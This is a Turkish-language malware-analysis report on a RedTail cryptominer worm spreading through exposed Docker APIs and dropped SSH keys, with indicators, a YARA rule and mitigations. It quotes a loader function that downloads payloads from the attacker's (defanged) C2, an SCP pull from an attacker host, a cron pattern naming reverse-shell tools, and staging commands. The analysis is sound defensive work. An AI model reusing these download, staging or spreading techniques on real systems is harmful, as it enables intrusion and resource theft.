malware · cryptomining · redtail · docker · linux · honeypot · worm
Bir RedTail Kampanyasının İçinde: Açıktaki Docker API'leri Üzerinden Kendi Kendine Yayılma
Kinryū Labs bal küpleri, RedTail kripto madencisinin kimlik doğrulamasız Docker Engine API'leri ve bırakılan SSH anahtarları üzerinden yayıldığını yakaladı. Bu yazı, yükleyici, rakip kaldırma betiği, madenci ve canlı göstergelerle birlikte, güncel ve eksiksiz yakalanmış bir örneği belgeliyor.
Yazan Davis Zheng·
TLP:CLEAR. Yayım için onaylandı. Kinryū Labs bal küpü sensör ağından alındı. Buradaki her gösterge savunma amaçlıdır. Saldırganın özel anahtarını yakaladık ve yayımlamıyoruz. Burada yalnızca genel parmak izi yer alıyor. Saldırgan IP’leri ve alan adları etkisizleştirilmiştir (defanged).
Yönetici özeti
- 2375açıktaki Docker API, giriş yolu
- 4hedeflenen CPU mimarisi
- ~21snbal küpümüzde kaydedilen tam içeri giriş
- yayılabilirmadenciye gömülü SSH istemcisi
2026 Haziran başı ile ortasında bal küpü ağımız, internete açık Docker Engine API’leri üzerinden TCP/2375’te yayılan ve 2023 sonundan beri var olan XMRig tabanlı bir Monero madencisi olan RedTail’i bırakan bir solucan yakaladı. Aktör, açık Docker API üzerinden çalışan konteynerleri listeler, her birinin içinde komut çalıştırır, kalıcılık ve yanal hareket için bir SSH özel anahtarı bırakır, ardından çok mimarili bir yükleyici çeker. Yükleyici, yayılmak için kendi SSH istemcisini ve yeni hedefler bulmak için bir libpcap dinleyicisini (sniffer) yanında getiren bir madenci kurar.
Yük, hiç şüphesiz RedTail’dir. RedTail en çok web uygulaması istismarları (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link) yoluyla gelmesiyle bilinir ve açıktaki Docker API’lerini kullanması da daha önce raporlanmıştır. Bu yazı, o Docker API teslimatının güncel ve eksiksiz yakalanmış bir örneğini ekliyor: canlı C2 ve göstergeler, ana makinenin kendini kopyalamasını sağlayan SSH anahtarı bırakma ve önceki yazıların işaret edip de kurtaramadığı rakip kaldırma betiği. Kendi kendine kopyalama mantığını içeride docker.selfrep olarak izliyoruz.
Madenci, şifreli bir çalışma zamanı yapılandırması taşır ve gömülü cüzdan içermez, dolayısıyla örnekten bir Monero adresi çıkaramayız. Bunu kurtarmak, ağ yakalamalı canlı bir patlatma gerektirir.
Temel değerlendirmeler
- Yük RedTail’dir (yüksek güven).
libredtail evbuffer_tlsdizesi,.redtailkalıntısı, yükleyicidekiredtailyedeği ve şifreli yapılandırma / cüzdansız derleme, hepsi ailenin 2024 sonrası sürümleriyle örtüşür. - Kampanya solucan gibi yayılabilir (yüksek güven). Docker API araçları, bırakılan anahtar ve madencinin yerleşik SSH istemcisi, yeni enfekte olmuş bir ana makinenin bir sonraki kurbanı kendi başına bulmaya gitmesi için gereken her şeydir.
- Operatörün derdi paradır (orta güven). Kimlik bilgisi hırsızlığı ve dinleme, ayrı bir veri hırsızlığı hedefinden çok yayılmaya hizmet ediyor gibi görünüyor.
- Docker API vektörü RedTail için daha önce raporlanmıştır ve hâlâ iyi çalışıyor. TCP/2375’te açıkta kalan tek bir soket, aktöre ana makinedeki her konteynerin içinde root olarak kod yürütme verir.
Saldırı zinciri
[0] Keşif Açıktaki Docker API :2375 için internet taraması
│
[1] İlk erişim Kimlik doğrulamasız Docker API → konteynerleri listele
│ (T1190 Exploit Public-Facing Application)
│
[2] Yürütme Çalışan her konteynere docker exec
│ (T1609 Container Administration Command)
│
[3] Kalıcılık / Konteynerin ~/.ssh dizinine "dlr@sftp" ed25519 anahtarı bırak
yanal hazırlık (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] İçeri alma (aşama 2) Yükleyici çek: scp [email protected][.]113:sh (birincil)
│ hxxps://14.46.136[.]77/sh (yedek)
│ (T1105 Ingress Tool Transfer)
│
[5] Savunma atlatma Yükleyici: noexec bağlamalarını bul → kaçın; gizli ".<random>" dosya adı;
│ rakip kaldırma "clean" çalıştır/at
│
[6] İçeri alma (aşama 3) Yükleyici C2'den mimari ELF'ini (x86_64/i686/aarch64/arm7) çeker
│
[7] Yürütme memfd_create → RedTail madencisinin dosyasız başlatılması
│ (T1620 Reflective Code Loading)
│
[8] Etki XMRig ile Monero madenciliği (T1496 Resource Hijacking)
+ Kimlik bilgisi libpcap dinleme + ssh-agent/anahtar hırsızlığı (T1040 / T1552.004)
+ Yanal hareket Gömülü SSH istemcisi keşfedilen ana makinelere yayılır (T1021.004)
Aşama 1: Docker API üzerinden ilk erişim
Aktör, kimlik doğrulamasız REST API’sini TCP/2375’te açıkta bırakan Docker Engine örneklerinin peşine düşer. Docker API bal küpümüz gerçek bir motoru taklit eder ve tüm diziyi yaklaşık 21 saniyede kaydetti:
- Motorun parmak izini almak ve konteynerleri listelemek için
GET /versionveGET /containers/json. - Çalışan her konteynere karşı
POST /containers/{id}/execardındanPOST /exec/{id}/start. - Saldırganın SSH anahtarını yazan ve yükleyiciyi getiren bir konteyner içi kabuk yükü.
Bunu tek seferlik bir madenciden bir solucana çeviren, işte o son adımdır. Enfekte olan ve kendi Docker API’sini açıkta bulunduran bir ana makine, aynı listele-ve-çalıştır rutinini bir sonraki kurban kümesine karşı çalıştırır. O mantığa docker.selfrep diyoruz.
Bırakılan SSH anahtarı (kalıcılık ve yanal hareket)
| Özellik | Değer |
|---|---|
| Tür | OpenSSH ed25519 özel anahtarı |
| Yorum | dlr@sftp |
| Genel anahtar SHA256 parmak izi | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| Çekme kaynağı (SCP kanalı) | [email protected][.]113 |
Özel anahtarı yayımlamıyoruz. Onu avlamak için yukarıdaki parmak izini kullanın: tüm makine envanterinizde
authorized_keysve~/.sshdizinlerini kontrol edin.
Aşama 2: /sh yükleyicisi
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
Tür: POSIX kabuk betiği
Küçük, taşınabilir bir yükleyici, ve dikkatli olanından.
Rastgele gizli dosya adı. get_random_string(), /dev/urandom, ardından openssl, ardından $RANDOM deneyerek ve hepsi başarısız olursa düz redtail dizesine geri dönerek 4 ila 35 karakterlik alfanümerik bir ad oluşturur. O yedek, kullanışlı bir aile işaretidir. Madenci, sade bir ls’in dışında kalmak için başında nokta olan .<random> olarak iner. VirusTotal bu örneği o adlardan biriyle, .mn6VTucEsFZY1PdSC2QAq olarak barındırıyor.
İndirme yardımcısı. dlr(), C2 kendinden imzalı olduğu için TLS doğrulamasını kapatır ve wget’ten curl’e geri döner:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec’e duyarlı hazırlama (staging). Yükleyici /proc/mounts’u okur, her noexec bağlamasını atar ve hem yazıp hem yürütebileceği bir yer bulmak için find / -user $(whoami) -perm -u=rwx çalıştırır. Kullanmadan önce her adayı 2 MB’lık bir dd ya da truncate ile yazma testinden geçirir. Çoğu yükleyici sadece /tmp’ye yazıp geçer. Bu ise yürütebileceğini bildiği bir yere inmek için emek harcar.
Rakip temizliği. clean’i çeker ve çalıştırır (dlr clean; chmod +x clean; sh clean; rm -rf clean), ardından siler. O betiği de aldık ve aşağıda parçalıyoruz. Çalışan süreçleri rahat bırakarak rakip kalıcılığının ve hazırlamasının peşine düşer.
Toparlama. Yenisini kurmadan önce .redtail’i ve önceki .<random> dosyasını siler.
Mimari seçimi. Bir uname -mp anahtarı derlemeyi seçer:
| ARCH eşleşmesi | İndirir |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| bilinmeyen | dördünü de kaba kuvvetle dener, her birini çalıştırır |
Çalıştırma. ./.<random> $1, yükleyicinin orijinal $1’ini iletir; RedTail bunu bir kampanya ya da vektör etiketi olarak ele alır.
Rakip kaldırma betiği clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
Tür: Bash betiği (795 bayt)
clean’i bal küplerindeki daha sonraki bir vuruşta yakaladık. Çalışan süreçleri rahat bırakır. Tüm işi, RedTail’in makineyi tek başına kullanabilmesi için diğer kötü amaçlı yazılımları makineden temizlemektir:
-
Cron temizliği. Her kullanıcı crontab’ı (
/var/spool/cron/crontabs/*), sistem crontab’ı (/etc/crontab,/etc/crontabs), ekleme dizini (/etc/cron.{hourly,daily,weekly,monthly,d}) ve/etc/anacrontabiçin,chattr -iaile değişmezlik bitini söker (rakip kötü amaçlı yazılım kendi cron satırlarını korumak için onu ayarlar) ve ardından yeniden enfeksiyon desenine uyan her satırı siler:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dBu, meşru cron girdilerini rahat bırakarak diğer ekiplerin indirme beşiklerini ve ters kabuklarını çekip çıkarır.
-
Adı geçen bir rakibi öldürme.
c3pool_minersystemd hizmetini devre dışı bırakıp durdurur; c3pool madencisine doğrudan bir atış. -
Hazırlamayı silme.
rm -rfile/tmp,/var/tmpve/dev/shm’i boşaltır; rakip yükleri ve paylaştıkları çalışma alanını temizler.
Kalıcılığa ve hazırlamaya vurmak daha sessiz oyundur. Bir yeniden başlatmayı atlatır; aksi halde artakalan cron girdileri ana makineyi yeniden enfekte ederdi; ve kitlesel süreç öldürmenin gürültüsünden kaçınır.
Aşama 3: RedTail madencisi (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
Boyut: 1.880.264 bayt (1,79 MB)
Biçim: ELF 64-bit LSB EXEC (statik bağlı, non-PIE), x86-64, giriş 0xaa9e18
Paketleyici: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 kötü amaçlı, topluluk puanı −60, ilk görülme ~2026-06-05
Tehdit etiketleri: trojan.usblem26/abminer; aileler usblem26 / abminer / gen3
Paketleme ve analiz karşıtı
- Başlığı sağlam UPX 5.02.
upx -donu yaklaşık 5 MB’lık statik bağlı bir ELF’e temiz biçimde açar. - Dosyasız yürütme. VirusTotal’ın kod içgörüleri, yükü anonim bir bellek dosya tanımlayıcısından doğrudan çalıştırmak için
memfd_create(syscall0x13f) kullandığını gösterir;/proc/self/exeile yeniden yürütme ve/dev/shmhazırlaması eşliğinde. Hiçbir şey diske dokunmaz, dolayısıyla disk tabanlı AV asla bakma fırsatı bulamaz. - Süreç adı sahteciliği (
sets-process-name), normal süreçlere karışmak için. - Hata ayıklayıcı atlatma (
detect-debug-environment). Genel RedTail yazılarıptraceile kendi kendine hata ayıklamayı ve ikilinin GDB’yi aktif olarak öldürmesini anlatır. - Ana makine AV’si hakkında bir not. Microsoft Defender paketlenmiş ELF’i
Trojan:Linux/Multiverze!rfnolarak işaretler ve diskten okunmasını engeller, dolayısıyla statik eleme yalıtılmış bir makinede ya da bellekte yapılmalıdır.
Doğrulanmış bileşenler (paketten çıkarılmış .rodata dizelerinden)
XMRig madencilik çekirdeği
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail, aileyi tanımlayan ağ yığını
libredtail evbuffer_tls
Connection keepalive User-Agent
Özel bir libevent artı TLS HTTP istemcisi. libredtail evbuffer_tls dizesi, RedTail’i stok bir XMRig derlemesinden ayıran şeydir.
Gömülü SSH istemcisi (yanal hareket ve kimlik bilgisi hırsızlığı)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
Madenci, eksiksiz bir SSH istemcisi taşır. dlr@sftp anahtar bırakmasının ve yayılmanın arkasındaki motor budur. Madenci ikilisi kendi kimlik bilgisi hırsızlığını ve SSH yayılmasını kendisi halleder. Bunların hiçbiri damlalıkta yaşamaz.
Gömülü libpcap (ağ dinleme)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
Ana makinede paket yakalama; ana makinelerin ve kimlik bilgilerinin yerel keşfine uyar.
Kodlama tabloları. Hem standart hem de URL-güvenli Base64 alfabeleri görünür (...+/ ve ...-_); yapılandırma çözme rutini tarafından kullanılır.
Yapılandırma ve atıf boşluğu
Paketten çıkarılmış ikilide IP’ler, URL’ler, stratum, pool ve Monero adres desenleri için sıkı arama yaptık. Oradaki tek havuzlar, her XMRig derlemesinin taşıdığı ve operatörün kontrol etmediği XMRig’in yerleşik geliştirici bağış havuzlarıdır (donate.ssl.xmrig.com, donate.v2.xmrig.com). Düz metin olarak saldırgan havuzu, proxy’si ya da cüzdanı yok.
Bu kasıtlıdır ve RedTail’in 2024’ten beri gittiği yönle örtüşür. Madencilik yapılandırması şifrelidir ve yalnızca çalışma zamanında bellekte çözülür; son derlemeler hiç cüzdan taşımaz, bunun yerine özel bir havuza ya da havuz-proxy’sine işaret eder. Yani:
- Bu örnekten bir Monero cüzdanı çıkaramayız.
- Havuz-proxy’si yalnızca ağ alıcılı (sink) canlı bir patlatmadan çıkar (metodolojiye bakın).
Atıf
Bu, .redtail madencisi olarak da bilinen, ilk kez 2023 sonu ile 2024 başı dolaylarında yazıya dökülen, XMRig türevi bir Monero madencisi olan RedTail’dir. Örtüşenler:
- Ona özgü
libredtail evbuffer_tlsdizesi. .redtailkalıntısı ve yükleyicidekiredtailyedeği.- Şifreli yapılandırma / cüzdansız derleme, çok mimarili yükleyici,
cleanrakip betiği ve SSH kimlik bilgisi hırsızlığı, hepsi bilinen RedTail özellikleri.
Karşılaştırma için, aile adına kayda geçmiş teslim vektörleri CVE-2024-3400 (PAN-OS), CVE-2023-46805 ve CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) ve CVE-2023-1389 (TP-Link)‘tir. VirusTotal bu örneği ayrıca CVE-2021-41773 (Apache 2.4.49/2.4.50 yol geçişiyle RCE) ve CVE-2015-2808 (RC4, “Bar Mitzvah”) ile etiketler.
RedTail’in açıktaki Docker API’lerini kullanması daha önce raporlanmıştır, dolayısıyla vektörün kendisi eskidir. Bu rapor, onun güncel bir yakalamasını ekler: canlı C2 ve yük özetleri, kurtarılan clean betiği ve bırakılan anahtarla kendi kendine kopyalama ayrıntısı.
Görünüm
Kripto madenciliği ekipleri, içeri giriş biçimlerini yükü değiştirdiklerinden çok daha sık değiştirir ve RedTail’in modüler yükleyicisi bir giriş yöntemini bir diğeriyle değiştirmeyi kolaylaştırır. Açıktaki Docker soketleri tam da o sahaya oturur. Fırsatçı Linux etkinliğinin büyük kısmı bulut yerel yanlış yapılandırmalara kaydı ve açık bir Docker API, saldırgana makinedeki her konteynerin içinde root verir. RedTail buraya daha önce geldi ve internete açık 2375’in istikrarlı arzı bunu kârlı tutuyor.
Operatörün Docker API vektörünü web istismarlarının yerine koymaktan çok onların yanında tutmasının muhtemel olduğunu düşünüyoruz; bu ona yalnızca daha fazla erişilebilir ana makine verir. Konteyner çalıştırıyorsanız, açıktaki bir Docker API’yi herkese açık internette duruyormuş gibi ele alın, çünkü pratikte öyle.
İhlal göstergeleri
Ağ
| Gösterge | Bağlam |
|---|---|
14.46.136[.]77 | C2 / yük ana makinesi (HTTPS, kendinden imzalı). /sh, /clean, /x86_64, /i686, /aarch64, /arm7 sunar. Bulut egress’ini ASN’ye göre filtreler. |
hxxps://14.46.136[.]77/sh | Aşama 2 yükleyici URL’si |
hxxps://14.46.136[.]77/clean | Rakip kaldırma betiği (cron / hazırlama temizliği) |
217.60.195[.]113 | SCP anahtar / yük kaynağı ([email protected][.]113) |
Dosyalar (SHA256 / MD5)
| Dosya | SHA256 | MD5 |
|---|---|---|
sh (yükleyici) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (rakip temizliği) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (madenci) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
Ana makine kalıntıları
| Gösterge | Bağlam |
|---|---|
.redtail | Madenci kalıntısı / önceki enfeksiyon işareti |
.<random alnum>, ör. .mn6VTucEsFZY1PdSC2QAq | Gizli madenci dosya adı (başında nokta + rastgele) |
SSH anahtar yorumu dlr@sftp | Bırakılan anahtar |
Pubkey parmak izi SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | Bırakılan anahtar parmak izi; authorized_keys içinde avlayın |
/dev/shm, /var/tmp, /tmp ya da kullanıcının yazabildiği herhangi bir rwx dizininde hazırlanan dosyalar | Hazırlama konumları |
Davranışsal
- Anonim bir dosya tanımlayıcısından bir ELF yürüten
memfd_create(syscall0x13f). /proc/mounts’u okuyup ardındanfind / -perm -u=rwxçalıştıran bir süreç (noexec’e duyarlı hazırlama).- Süreç adı sahteciliği;
ptracetabanlı hata ayıklayıcı atlatma. - Standart olmayan bir ana makineye giden
stratum+tcp:///stratum+ssl://. systemctl disable c3pool_minervesystemctl stop c3pool_miner(rakip tahliyesi).- crontab yollarına karşı
chattr -ia, hemen ardından cron’danwget/curl/ ters kabuk satırlarının kitlesel silinmesi. /tmp/*,/var/tmp/*ve/dev/shm/*içinrm -rf(rakip hazırlama temizliği).
Tespit
Ana makine tespiti (süreç / EDR mantığı)
Sırayla şunları yapan bir sürece uyarı verin:
/proc/mounts’u okur, ardındanfind / ... -perm -u=rwx ...çalıştırır, ve- herkesin yazabildiği bir dizine başında nokta olan, rastgele adlı bir dosya yazar, ve
memfd_createçağırır ve ardından ortaya çıkan dosya tanımlayıcısından yürütür.
Bunların herhangi biri tek başına zayıftır. Üçü birlikte, bu yükleyici için güçlü bir sinyaldir.
Aday YARA (paketten çıkarılmış ikili)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
Bu kural, UPX ile paketten çıkarılmış ikiliyle eşleşir. Paketlenmiş örnek için UPX imzasına, dosya boyutuna (~1,79 MB) ve yukarıdaki VirusTotal özetlerine dayanın.
Ağ tespiti
14.46.136[.]77ve217.60.195[.]113’e giden giden trafiği engelleyin ve uyarı verin.- İzin listesinde olmayan herhangi bir hedefe
stratum+tcp/stratum+ssliçin uyarı verin. - Tek harfli ya da mimari adlı yolların (
/sh,/x86_64,/aarch64,/arm7) HTTP(S) GET’ine uyarı verin.
Azaltma
- Docker API’sini (2375/2376) güvenilmeyen ağlara açmayın. Onu localhost’a ya da korumalı bir sokete bağlayın ve TLS istemci sertifikası kimlik doğrulaması isteyin. O tek kontrol, ilk erişim adımını tümden kırar.
- Tüm makine envanterinde
~/.ssh/authorized_keys’idlr@sftpanahtarı ve parmak izi için denetleyin. - Yukarıdaki stratum trafiğini ve C2 IP’lerini egress filtreleyin ve izleyin.
- Mümkün olan yerde
/tmp,/var/tmpve/dev/shm’inoexecile bağlayın. Çıtayı yükseltir, ama bu yükleyici noexec’e duyarlıdır ve yazılabilir, yürütülebilir başka bir dizin aramaya gidecektir. - Konteynerleri sıkılaştırın: gereksiz capabilities’leri bırakın, salt okunur kök dosya sistemleri kullanın ve en az ayrıcalıkla çalıştırın; böylece bir
exec-in, saldırgana kullanılabilir bir yürütme ortamı sunmaz.
MITRE ATT&CK eşlemesi
| Taktik | Teknik |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (cryptomining) |
Metodoloji ve analist notları
- Aşama 2 ve 3’ü canlı C2’den HTTPS üzerinden çektik.
14.46.136[.]77bulut IP’leri için zaman aşımına uğrar (AWS/EC2’den denedik) ama yerleşik ve sıradan IP’lere sorunsuz sunar; bu, otomatik bulut kum havuzlarını kıran bir ASN ya da coğrafi egress filtresidir. - Paketlenmiş ELF, Microsoft Defender’ı (
Trojan:Linux/Multiverze!rfn) tetikler ve korumalı bir Windows ana makinesinde diskten okunamaz bile, dolayısıyla ilk eleme bellekte, ham ELF’i hiç dışarı yazmadan, arşivi bir Python süreci içinde paketten çıkararak yapıldı. - Paketten çıkarma, yalıtılmış bir FLARE-VM’de
upx -dile yapıldı. Paketten çıkarılmış ikiliyi çalıştırmadan, dizeler ve yapı üzerinden statik olarak analiz ettik. - Madenciyi çalıştırmadık, dolayısıyla çalışma zamanında çözülen havuz-proxy’si ve Monero yapılandırması bu raporda yok.
Önerilen takip (havuz-proxy göstergesini elde etmek için)
Havuz-proxy’sini elde etmek için, paketten çıkarılmış ikiliyi yalıtılmış bir Linux makinesinde (REMnux işe yarar) şunlarla patlatın:
- bağlantıyı çekip çıkarmak için bir ağ alıcısı (INetSim, ya da
fakednsartı bir TCP her-şeyi-yakala), - stratum CONNECT ve oturum açmayı yakalamak için
tcpdump -i any -w redtail.pcap, ve - madencinin ilk
connect()’inden hemen önce çözdüğü düz metin yapılandırmasını kapmak içinstrace -f; bu yapılandırma, TLS onu hatta gizlediğinde bile çoğu zaman okunabilir.
O ana makine ve port, bu kampanya için hâlâ çözülmemiş son göstergedir.
Örnekler
Örnekler (yükleyici, clean betiği ve paketlenmiş madenci) diğer araştırmacılara ve savunuculara talep üzerine sunulur. Kim olduğunuza ve ne için gerektiğine dair kısa bir notla [email protected] adresine yazın.